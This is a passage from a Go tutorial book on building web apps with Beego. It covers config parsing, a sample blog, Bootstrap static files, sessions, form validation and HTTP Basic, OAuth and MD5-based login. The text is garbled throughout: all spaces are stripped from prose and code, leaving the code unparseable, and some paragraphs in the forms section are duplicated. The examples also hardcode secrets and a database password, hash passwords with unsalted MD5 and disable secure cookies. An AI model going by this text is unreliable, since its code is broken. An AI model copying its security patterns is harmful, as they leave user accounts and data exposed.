
Forprocessingconfigurationinformation,Beegoimplementsakey=valuefileparserwhichreadsinformationformattedsimilarlytoiniconfigurationfiles.Theparserreadstheconfigurationdataandsavesittoamap.Finally,itcallsseveralfunctionsforretrievingthevalue'sdatatype(int,string,etc).Thedetailedimplementationcanbeseenbelow:

Definesomeglobalconstantsfortheiniconfigurationfile:

var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})

Definestheformatoftheconfigurationfile:

//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}

Definesafunctionforparsingthefile.Theprocessbeginsbyopeningthefile,thenreadingitlinebylineandparsingcomments,blanklinesandkey=valuedata:

//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}

cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}cfg.Lock()defercfg.Unlock()deferfile.Close()

varcommentbytes.Bufferbuf:=bufio.NewReader(file)

fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}

off+=int64(len(line))

ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue

}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}

val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}

key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}

Belowareanumberoffunctionstheparserusesforreadingtheconfigurationfile.Thereturnvalueisdeterminedaseitherabool,int,float64orstring:

//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}

//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}

//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}

//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]

}

Applicationguide

ThefollowingfunctionisanexampleofanapplicationIusedtofetchjsondatafromaremoteurladdress:

funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}}

Beego'sCritical()loggingfunctioniscalledtoreportanyerrorswhichmayoccurintheGetJson()function.beego.AppConfig.String("url")isusedtoobtaininformationfromaconfigurationfile(typicallyapp.conf),whichmightlooksomethinglikethefollowing:

appname=hsurl="http://www.api.com/api.html"

Links

DirectoryPrevioussection:DesigningcontrollersNextsection:Adding,deletingandupdatingblogs

13.5Adding,deletingandupdatingblogsWe'vealreadyintroducedtheentireconceptbehindtheBeegoframeworkthroughexamplesandpseudo-code.ThissectionwilldescribehowtoimplementabloggingsystemusingBeego,includingtheabilitytobrowse,add,modifyanddeleteblogposts.

Blogdirectory

Ourblog'sdirectorystructurecanbeseenbelow:

/main.go/views:/view.tpl/new.tpl/layout.tpl/index.tpl/edit.tpl/models/model.go/controllers:/index.go/view.go/new.go/delete.go/edit.go

Blogrouting

Ourblog'smainroutingrulesareasfollows:

//ShowblogHomebeego.RegisterController("/",&controllers.IndexController{})//Viewblogdetailsbeego.RegisterController("/view/:id([0-9]+)",&controllers.ViewCon

troller{})//CreateblogBowenbeego.RegisterController("/new",&controllers.NewController{})//DeleteBowenbeego.RegisterController("/delete/:id([0-9]+)",&controllers.DeleteController{})//EditBowenbeego.RegisterController("/edit/:id([0-9]+)",&controllers.EditController{})

Databasestructure

Atrivialdatabasetabletostorebasicbloginformation:

CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));

Controller

IndexController:

typeIndexControllerstruct{beego.Controller}

func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}

ViewController:

typeViewControllerstruct{beego.Controller}

func(this*ViewController)Get(){inputs:=this.Input()id,_:=strconv.Atoi(this.Ctx.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"}

NewController

typeNewControllerstruct{beego.Controller}

func(this*NewController)Get(){this.Layout="layout.tpl"this.TplNames="new.tpl"}

func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

EditController

typeEditControllerstruct{beego.Controller}

func(this*EditController)Get(){inputs:=this.Input()id,_:=strconv.Atoi(this.Ctx.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}

func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

DeleteController

typeDeleteControllerstruct{beego.Controller}

func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}

Modellayer

packagemodels

import("database/sql"

"github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")

typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}

funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}

funcGetAll()(blogs[]Blog){db:=GetLink()db.FindAll(&blogs)return}

funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}

funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}

funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}

Viewlayer

layout.tpl

<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;}</style></head><body>

<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li></ul>

{{.LayoutContent}}

</body></html>

index.tpl

<h1>Blogposts</h1>

<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>

view.tpl

<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>

{{.Post.Content}}

new.tpl

<h1>NewBlogPost</h1><formaction=""method="post">Title:<inputtype="text"name="title"><br>Content<textareaname="content"colspan="3"rowspan="10"></textarea>

<inputtype="submit"></form>

edit.tpl

<h1>Edit{{.Post.Title}}</h1>

<h1>NewBlogPost</h1><formaction=""method="post">Title:<inputtype="text"name="title"value="{{.Post.Title}}"><br>Content<textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>

Links

DirectoryPrevioussection:LogsandconfigurationsNextsection:Summary

13.6SummaryInthischapter,wedescribedhowtoimplementthemajorcomponentsofaGowebframework.WefirstdesignedaroutertomakeupforsomeofshortcomingsinGo'sbuilt-inhttppackage,creatingaroutercapableofdynamicroutingandRESTsupport.WealsodesignedourownRESTfulControllerclassinaccordwiththeprinciplesofMVC,borrowingideasfromframeworkssuchasTornado.Next,wedesignedandimplementedatemplatelayoutandautomatedrenderingsystem,mainlyusingGo'sbuilt-intemplatingengine.Wethenimplementedacustomloggerandtalkedaboutframeworkconfigurationtoallowforflexibleapplicationdeployment.Throughthisprocess,wehaveimplementedabasicwebframeworkcalledBeegowhich,atpresent,hasbeenopen-sourcedonGithub.Lastly,weimplementedasimplebloggingapplicationontopofBeego.Afterhavinggonethroughalloftheseexamples,youwillhopefullyhavelearnedhowtoquicklydevelopwebsitesinGo.

Links

DirectoryPrevioussection:Add,deleteandupdateblogsNextchapter:Developwebframework

14DevelopingawebframeworkChapter13describedhowtodevelopawebframeworkinGo.WeintroducedtheMVCarchitecture,aroutingandloggingsystemsystem,andwealsolookedatsimpleserverconfiguration.Thesearethebasicbuildingblocksofmostframeworks,andit'sagoodstart.However,formoresophisticatedneeds,someauxiliarytoolsareneededtofacilitaterapidwebsitedevelopment.Inthischapter,wewillprovidesomequicktipsandtoolsforspeedingupdevelopment.Thefirstsectionwillcoverthehow-to'showprocessingstaticfilesandwewillbeusingTwitter'sopensourceCSSand

JavascriptframeworkcalledBootstrapforbeautifyingourwebsite.Thesecondsectiondescribeshowtousethepreviouslydescribesessionsforuserloginprocessing.Next,thethirdsectiondescribeshowtogenerateforms,andhowtoprocesstheseformsforvaliddata.WewillalsotalkabouthowtobindmodelsforCRUDoperations.Insection4,we'lldescribehowtoperformsomeuserauthenticationincludingbasicHTTPauthenticationandHTTPdigestauthentication.Finally,thelastsectionwilltalkaboutimplementingthepreviouslydescribedi18n,tosupportmulti-lingualwebapplications.

ByextendingBeegointhischapter,wewillbeabletorapidlydevelopfullstackwebapplications.Ofcourse,we'llgothroughthefeaturesoftheseextensionsstepbystep,applyingthemtothebloggingsystemwedevelopedinChapter13.Throughthedevelopmentofacompleteandbeautifulbloggingsystem,userswillhopefullybeabletoseehowBeegocanhelptoboostdeveloperproductivity.

Links

DirectoryPreviouschapter:Chapter13summaryNextsection:Staticfiles

14.1StaticfilesWe'vealreadytalkedabouthowtodealwithstaticfilesinprevioussections.Now,let'slookathowtosetupandusestaticfilesinsideofBeego.Then,throughintroducingTwitter'sopensourceHTMLandCSSframeworkBootstrap,we'llbeablequicklycreatebeautifullookingwebsiteswithouthavingtodomuchdesignwork.o

Beegostaticfilesandsettings

Go'snet/httppackageprovidesastaticfileserverwithfunctionssuchasServeFileandFileServer.Beego'sstaticfilehandlingisbasedonthislayer,anditsspecificimplementationisasfollow:

//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}

StaticDirstorestheURLwhichcorrespondstoastaticfiledirectory,sowhenhandlingrequests,wesimplyneedtodeterminewhetherornottheURLbeginswithastaticfilepath.Ifso,wecansimplyrespondusinghttp.ServeFile.

Thefollowingisanexample:

beego.StaticDir["/asset"]="/static"

Then,arequestwithaURLsuchashttp://www.beego.me/asset/bootstrap.csswillresultin/static/bootstrap.cssbeingservedtotheclient.

Bootstrapintegration

BootstrapisaTwitterlaunchedopensourceToolkitforfront-enddevelopment.Fordevelopers,BootstrapisoneofthebestfrontendkitsforrapidWebapplicationdevelopment.ItisacollectionofHTML,CSSandjavascriptcomponents,usingthelatestHTML5standards.Theseincludearesponsivegrid,forms,buttons,tables,andmanyotherusefulthings.

ComponentsBootstrapcontainsawealthofWebcomponents.Usingthesecomponents,youcanquicklybuildabeautiful,fullyfunctionalwebsite.Whichincludesthefollowingcomponents:Pull-downmenus,buttongroups,buttondrop-downmenus,navigation,navigationbars,breadcrumbs,pagination,layout,thumbnails,warningdialogs,progressbars,andothermediaobjectsJavaScriptpluginsBootstrapcomeswith13jQueryplug-insforBootstrapcomponents,whichgivesthem"life".Theseinclude:Modaldialogs,tabs,scrollbars,pop-upboxesandsoon.BootstrapframeworkcustomizationAllBootstrapcssvariablescanbemodifiedaccordingtoyourneeds

Figure14.1abootstrapwebsite

Next,let'sseehowwecanuseBootstrapinsideourBeegoapplicationtoquicklycreateabeautifulwebsite:

1. First,let'sdownloadthebootstrapdirectoryintoourproject'sstaticdirectory,asshowninthefollowingscreenshot:

Figure14.2Projectstaticfiledirectorystructure

2. BecauseBeegosetsadefaultvalueforStaticDir,ifyourstaticfilesdirectoryisstatic,thenyouneednotgoanyfurther:

StaticDir["/static"]="static"

3. Ourtemplatesusethefollowingassetpaths:

//cssfile<linkhref="/static/css/bootstrap.css"rel="stylesheet">

//jsfile<scriptsrc="/static/js/bootstrap-transition.js"></script>

//Picturefiles<imgsrc="/static/img/logo.png">

Withtheabovecode,weareintegratingBootstrapintoourBeegoapplication.Thefigurebelowdemonstratestherenderedpage:

Figure14.3websiteintegratedwithBootstrap

ThesetemplatesandformatsarecomeshippedwithBootstrapsowewon'trepeatthecompletecodehere,howeveryoucantakealookattheproject'sofficialpagetolearnhowtowriteyourowntemplates.

Links

DirectoryPrevioussection:DevelopingawebframeworkNextsection:Sessions

14.2SessionsInchapter6,weintroducedsomebasicconceptspertainingtosessionsinGo,andweimplementedasessionsmanager.TheBeegoframeworkusesthissessionmanagertoimplementsomeconvenientsessionhandlingfunctionality.

Integratingsessions

Beegohandlessessionsmainlyaccordingtothefollowingglobalvariables:

//relatedtosessionSessionOnbool//whetherornottoopenthesessionmodule.Defaultstofalse.SessionProviderstring//thedesiredsessionbackendprocessingmodule.Defaultstoanin-memorysessionManagerSessionNamestring//thenameoftheclientsavedcookiesSessionGCMaxLifetimeint64//cookievalidity

GlobalSessions*session.Manager//globalsessioncontroller

Ofcourse,theabovevaluesofthesevariablesneedtobeinitialized.Youcanalsousethevaluesfromthefollowingconfigurationfilecodetosetthesevalues:

ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val}else{SessionGCMaxLifetime=3600}

Addthefollowingcodeinthebeego.Runfunction:

ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}

AslongasSessionOnissettotrue,itwillopenthesessionbydefaultwithanindependentgoroutinesessionhandler

InordertofacilitateourcustomControllerquicklyusingsession,theauthorbeego.Controllerprovidesthefollowingmethods:

ToassistusinquicklyusingsessionsinacustomController,beego.Controllerprovidesthefollowingmethod:

func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}

Usingsessions

Fromthecodeabove,wecanseethattheBeegoframeworksimplyinheritsitssessionfunctionality.So,howdoweuseitinourprojects?

Firstofall,weneedtoopenthesessionattheentrypointofourapplication.

beego.SessionOn=true

Wecanthenusethecorrespondingsessionmethodinsideourcontrollerlike

so:

func(this*MainController)Get(){varintcountintsess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.Data["Count"]=intcountthis.TplNames="index.tpl"}

Thecodeaboveshowshowtousesessionsinthecontrollerlogic.Theprocesscanbedividedintotwosteps:

1. Gettingsessionobject

//Gettheobject,similarinPHPsession_start()sess:=this.StartSession()

2. Usingthesessionforgeneraloperations

//Getthesessionvalues,similarinPHP$_SESSION["count"]

sess.Get("count")

//Setthesessionvaluesess.Set("count",intcount)

Asyoucansee,applicationsbasedontheBeegoframeworkcaneasily

implementsessions.Theprocessisverysimilartocallingsession_start()inPHPapplications.

Links

DirectoryPrevioussection:StaticfilesNextsection:Forms

14.3FormsInwebdevelopment,thefollowingworkflowwillprobablylookquitefamiliar:

OpenawebpageshowingaformUsersfilloutandsubmittheformIfausersubmitssomeinvalidinformationorhasneglectedtofilloutarequiredfield,theformwillbereturnedtotheuser(alongwiththefilledindata)withsomedescriptiveinformationabouttheproblem.Usersre-filltheinvalidfieldsandcontinueattemptingtosubmittheformuntilit'saccepted

Atthereceivingend,thescriptmust:

Checktheusersubmittedformdata.Verifywhetherthedataisthecorrecttypeandoftheappropriatestandard.Forexample,ifausernameissubmitted,itmustverifythatitcontainsonlyvalidcharacters.Otherexampleswouldbecheckingforminimumandmaximumlengths,usernameuniqueness,andsoon.Filteringdataandcleaningupunsafecharacterstoguaranteethatourapplicationonlyprocessesdatawhichissafe.Ifnecessary,pre-formatthedata(ordatagapsneedtobeclearedthroughtheHTMLcodingandsoon.)Preparethedataforinsertionintothedatabase

Althoughtheprocedureisnotverycomplex,itusuallyrequiresalotofboilerplate.Inaddition,webapplicationsoftenuseavarietyofdifferentcontrolstructurestodisplayerrormessagesonreturnedpages.Implementingformvalidationisasimplebutboringtask.

Formsandvalidation

Fordevelopers,thegeneraldevelopmentprocesscanbequitecomplex,butit'smostlyrepetitivework.Supposeascenarioariseswhereyousuddenlyneedtoaddaformtoyourproject,causingyoutorewriteallofthelocalcodetiedinwiththeform.WeknowthatstructsareaverycommonlyuseddatastructureinGo,andBeegousesthemtoitsadvantageforprocessingforminformation.

First,wedefineastructwithfieldscorrespondingtothefieldsinourformelement.Wecanusestructtagswhichmaptotheformelement,asshownbelow:

FirstdefineastructthatcorrespondstowhendevelopingWebapplications,afieldcorrespondingtoaformelement,definedbyusingastructtagcorrespondingtotheelementinformationandauthenticationinformation,asshownbelow:

Fordevelopers,thegeneraldevelopmentprocessisverycomplex,andmostlyarerepeatingthesamework.Assumingascenarioprojectsuddenlyneedtoaddaformdata,thenthelocalcodeoftheentireprocessneedstobemodified.WeknowthatGoinsideastructisacommondatastructure,sobeegotheformstructusedtoprocessforminformation.

Firstdefineastructwithfieldscorrespondingtoourformelement,usingstructtagstodefinecorrespondingelementandauthenticationinformation,likeso:

typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`

Ageint`form:text,valid:required|numeric`Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}

Afterdefiningourstruct,wecanaddthisactioninourcontroller:

func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}

Theformisdisplayedinourtemplatelikeso:

<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>

Above,we'vedefinedtheentirefirststepofdisplayingaformmappedtoastruct.Thenextstepisforuserstofillintheirinformationandsubmittheform,afterwhichtheserverwillreceivethedataandverifyit.Finally,therecordwillbeinsertedintothedatabase.

func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}

Formtype

Thefollowingtableliststhecorrespondingformelementinformation:

<tablecellpadding="0"cellspacing="1"border="0"style="width:100%"class="tableborder"><tbody><tr><th>Name</th><th>parameter</th><th>Description</th></tr><tr><tdclass="td"><strong>text</strong></td><tdclass="td">No</td><tdclass="td">textboxinputbox</td></tr>

<tr><tdclass="td"><strong>button</strong></td><tdclass="td">No</td><tdclass="td">button</td></tr>

<tr><tdclass="td"><strong>checkbox</strong></td><tdclass="td">No</td><tdclass="td">multi-selectbox</td></tr>

<tr><tdclass="td"><strong>dropdown</strong></td><tdclass="td">No</td><tdclass="td">drop-downselectionbox</td></tr>

<tr><tdclass="td"><strong>file</strong></td>

<tdclass="td">No</td><tdclass="td">fileupload</td></tr>

<tr><tdclass="td"><strong>hidden</strong></td><tdclass="td">No</td><tdclass="td">hiddenelements</td></tr>

<tr><tdclass="td"><strong>password</strong></td><tdclass="td">No</td><tdclass="td">passwordinputbox</td></tr>

<tr><tdclass="td"><strong>radio</strong></td><tdclass="td">No</td><tdclass="td">singlebox</td></tr>

<tr><tdclass="td"><strong>textarea</strong></td><tdclass="td">No</td><tdclass="td">textinputbox</td></tr></tbody></table>

Formvalidation

ThefollowingtablelistssomeformvalidationrulesnativetoBeegothatcanbeused:

<tablecellpadding="0"cellspacing="1"border="0"style="width:100%"class="tableborder"><tbody>

<tr><th>rules</th><th>parameter</th><th>Description</th><th>Example</th></tr>

<tr><tdclass="td"><strong>required</strong></td><tdclass="td">No</td><tdclass="td">Iftheelementisempty,itreturnsFALSE</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>matches</strong></td><tdclass="td">Yes</td><tdclass="td">iftheformelement'svaluewiththecorrespondingformfieldparametervaluesarenotequal,thenreturnFALSE</td><tdclass="td">matches[form_item]</td></tr>

<tr>

<tdclass="td"><strong>is_unique</strong></td>

<tdclass="td">Yes</td>

<tdclass="td">iftheformelement'svaluewiththespecifiedfieldinatablehaveduplicatedata,itreturnsFalse(Translator'sNote:Forexampleis_unique[User.Email],thenthevalidationclasswilllookfortheUsertableintheEmailfieldthereisnoformelementswiththesamevalue,suchasdepositrepeat,itreturnsfalse,sodevelopersdonothavetowriteanotherCallbackverificationcode.)</td>

<tdclass="td">is_unique[table.field]</td></tr>

<tr><tdclass="td"><strong>min_length</strong></td><tdclass="td">Yes</td><tdclass="td">formelementvaluesifthecharacterlengthislessthanthenumberdefinedparameters,itreturnsFALSE</td><tdclass="td">min_length[6]</td></tr>

<tr><tdclass="td"><strong>max_length</strong></td><tdclass="td">Yes</td><tdclass="td">iftheformelement'svalueisgreaterthanthelengthofthecharacterdefinednumericargument,itreturnsFALSE</td><tdclass="td">max_length[12]</td></tr>

<tr><tdclass="td"><strong>exact_length</strong></td><tdclass="td">Yes</td><tdclass="td">iftheformelementvaluesandparametersdefinedcharacterlengthnumberdoesnotmatch,itreturnsFALSE</td><tdclass="td">exact_length[8]</td></tr>

<tr>

<tdclass="td"><strong>greater_than</strong></td>

<tdclass="td">Yes</td>

<tdclass="td">Iftheformelementvaluesnon-numerictypes,orlessthanthevaluedefinedparameters,itreturnsFALSE</td>

<tdclass="td">greater_than[8]</td></tr>

<tr>

<tdclass="td"><strong>less_than</strong>

</td>

<tdclass="td">Yes</td>

<tdclass="td">Iftheformelementvaluesnon-numerictypes,orgreaterthanthevaluedefinedparameters,itreturnsFALSE</td>

<tdclass="td">less_than[8]</td></tr>

<tr><tdclass="td"><strong>alpha</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainscharactersotherthanlettersbesides,itreturnsFALSE</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>alpha_numeric</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluescontainedinadditiontolettersandothercharactersotherthannumbers,itreturnsFALSE</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>alpha_dash</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainsinadditiontotheletter/number/underline/charactersotherthandash,returnsFALSE</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>numeric</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainscharactersotherthannumbersinaddition,itreturnsFALSE</td>

<tdclass="td"></td></tr>

<tr><tdclass="td"><strong>integer</strong></td><tdclass="td">No</td><tdclass="td">exceptiftheformelementcontainscharactersotherthananinteger,itreturnsFALSE</td><tdclass="td"></td></tr>

<tr>

<tdclass="td"><strong>decimal</strong></td>

<tdclass="td">Yes</td>

<tdclass="td">Iftheformelementtype(non-decimal)isnotcomplete,itreturnsFALSE</td>

<tdclass="td"></td></tr>

<tr><tdclass="td"><strong>is_natural</strong></td><tdclass="td">No</td><tdclass="td">valueiftheformelementcontainsanumberofotherunnaturalvalues(othervaluesexcludingzero),itreturnsFALSE.Naturalnumberslikethis:0,1,2,3....andsoon.</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>is_natural_no_zero</strong></td><tdclass="td">No</td><tdclass="td">valueiftheformelementcontainsanumberofotherunnaturalvalues(othervaluesincludingzero),itreturnsFALSE.Nonzeronaturalnumbers:1,2,3.....andsoon.</td><tdclass="td"></td>

</tr>

<tr><tdclass="td"><strong>valid_email</strong></td><tdclass="td">No</td><tdclass="td">Iftheformelementvaluecontainsinvalidemailaddress,itreturnsFALSE</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>valid_emails</strong></td><tdclass="td">No</td><tdclass="td">formelementvaluesifanyonevaluecontainsinvalidemailaddress(addressesseparatedbycommasinEnglish),itreturnsFALSE.</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>valid_ip</strong></td><tdclass="td">No</td><tdclass="td">iftheformelement'svalueisnotavalidIPaddress,itreturnsFALSE.</td><tdclass="td"></td></tr>

<tr><tdclass="td"><strong>valid_base64</strong></td><tdclass="td">No</td><tdclass="td">iftheformelement'svaluecontainsthebase64-encodedcharactersinadditiontootherthanthecharacters,returnsFALSE.</td><tdclass="td"></td></tr>

</tbody></table>

Links

DirectoryPrevioussection:SessionsNextsection:Uservalidation

14.4UservalidationIntheprocessofdeveloppingwebapplications,userauthenticationisaproblemwhichdevelopersfrequentlyencounter.Userlogin,registrationandlogout,amongotheroperations,aswellasgeneralauthenticationcanalsodividedintothreeparts:

HTTPBasic,andHTTPDigestAuthenticationThirdPartyAuthenticationIntegration:QQ,micro-blogging,watercress,OPENID,Google,GitHub,Facebookandtwitter,etc.Customuserlogin,registration,logout,aregenerallybasedonsessionsandcookieauthentication

Beegodoesnotnativelyprovidesupportforanyofthesethreethings,howeveryoucaneasilymakeuseofexistingthirdpartyopensourcelibrariestoimplementthem.ThefirsttwoauthenticationsolutionsareonBeego'sroadmaptoeventuallybeintegrated.

HTTPbasicanddigestauthentication

BothHTTPbasicanddigestauthenticationarerelativelysimpletechniquescommonlyusedbywebapplications.Therearealreadymanyopensourcethird-partylibrarieswhichsupportthesetwoauthenticationmethods,suchas:

github.com/abbot/go-http-auth

Thefollowingcodedemonstrateshowtousethislibrarytoimplement

authenticationinaBeegoapplication:

packagecontrollers

import("github.com/abbot/go-http-auth""github.com/astaxie/beego")

funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}

typeMainControllerstruct{beego.Controller}

func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}

TheabovecodetakesadvantageofBeego'sprepare()functiontoperformauthenticationbeforeallowingthenormalflowofexecutiontoproceed;asyoucansee,it'sverysimpletoimplementHTTPauthentication.Digestauthenticationcanbeimplementedinmuchthesameway.

OAuthandOAuth2authentication

OAuthandOAuth2arecurrentlytwoofthemostpopularauthenticationmethods.Fortunately,therearethird-partylibrarieswhichimplementthistypeofauthenticationsuchasthego.authpackageavailableongithub.

github.com/bradrydzewski/go.auth

ThecodebelowdemonstrateshowtousethislibrarytoimplementOAuthauthenticationinBeegousingourGithubcredentials:

1. Let'saddsomeroutes

beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})

2. ThenwedealwiththeGithubControllerlandingpage:

packagecontrollers

import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth")

const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")

typeGithubControllerstruct{beego.Controller}

func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJe

V")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

githubHandler:=auth.Github(githubClientKey,githubSecretKey)

githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}

3. Handlingafterasuccessfullandingpage:

packagecontrollers

import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http""net/url")

typePageControllerstruct{beego.Controller}

func(this*PageController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

user,err:=auth.GetUserCookie(this.Ctx.Request)

//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}

//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())

this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}

Thewholeprocessisasfollows:

firstopenyourbrowserandentertheaddress:

Figure14.4showsthehomepagewithaloginbutton

Whenclickingonthelink,thefollowingscreenappears:

Figure14.5displayedafterclickingtheloginbuttontoauthenticatewithyour

GitHubcredentials

Afterclicking"Authorizeapp",thefollowingscreenappears:

Figure14.6authorizedGithubinformationgetsdisplayedaftertheloginpage

Customauthentication

Customauthenticationisgenerallycombinedwithsessionauthentication;thefollowingcodeisaBeegobasedopensourceblogwhichdemonstratesthis:

//Loginprocessfunc(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=now

models.UpdateUserInfo(users)

